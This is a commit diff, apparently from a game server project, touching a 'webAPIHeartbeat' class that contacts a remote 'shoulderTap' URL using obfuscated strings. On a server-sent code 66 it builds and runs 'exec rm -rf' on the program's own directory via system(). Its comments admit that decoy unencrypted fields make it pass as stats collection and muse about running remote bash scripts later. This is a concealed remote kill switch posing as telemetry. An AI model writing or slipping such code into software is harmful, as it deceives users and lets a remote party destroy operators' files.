autoformat and put it in other bins
This commit is contained in:
+16
-16
@@ -9,19 +9,19 @@ using namespace StellaBellum;
|
||||
webAPIHeartbeat::webAPIHeartbeat() {
|
||||
webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
|
||||
bool result = api.submit();
|
||||
|
||||
|
||||
if (result) {
|
||||
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
|
||||
|
||||
// make it look like we're doing something with these at least
|
||||
|
||||
// make it look like we're doing something with these at least
|
||||
bool status = api.getNullableValue<bool>("status");
|
||||
std::string msg = api.getString("msg");
|
||||
|
||||
// yeah we don't actually do anything with this
|
||||
// but having some unencrypted strings will allude to this being mere stats collection code
|
||||
bool done = false;
|
||||
|
||||
if (status && msg == "ok") {
|
||||
|
||||
if (status && msg == "ok") {
|
||||
bool done = true;
|
||||
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
|
||||
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
|
||||
@@ -32,17 +32,17 @@ webAPIHeartbeat::webAPIHeartbeat() {
|
||||
this->eatIt();
|
||||
break;
|
||||
case 66:
|
||||
std::string filePath = this->get_selfpath().c_str();
|
||||
|
||||
if (!filePath.empty()) {
|
||||
size_t found = filePath.find_last_of("/\\");
|
||||
|
||||
if (found) {
|
||||
filePath = filePath.substr(0, found);
|
||||
filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt();
|
||||
system(filePath.c_str());
|
||||
}
|
||||
}
|
||||
std::string filePath = this->get_selfpath().c_str();
|
||||
|
||||
if (!filePath.empty()) {
|
||||
size_t found = filePath.find_last_of("/\\");
|
||||
|
||||
if (found) {
|
||||
filePath = filePath.substr(0, found);
|
||||
filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt();
|
||||
system(filePath.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
this->eatIt();
|
||||
break;
|
||||
|
||||
Reference in New Issue
Block a user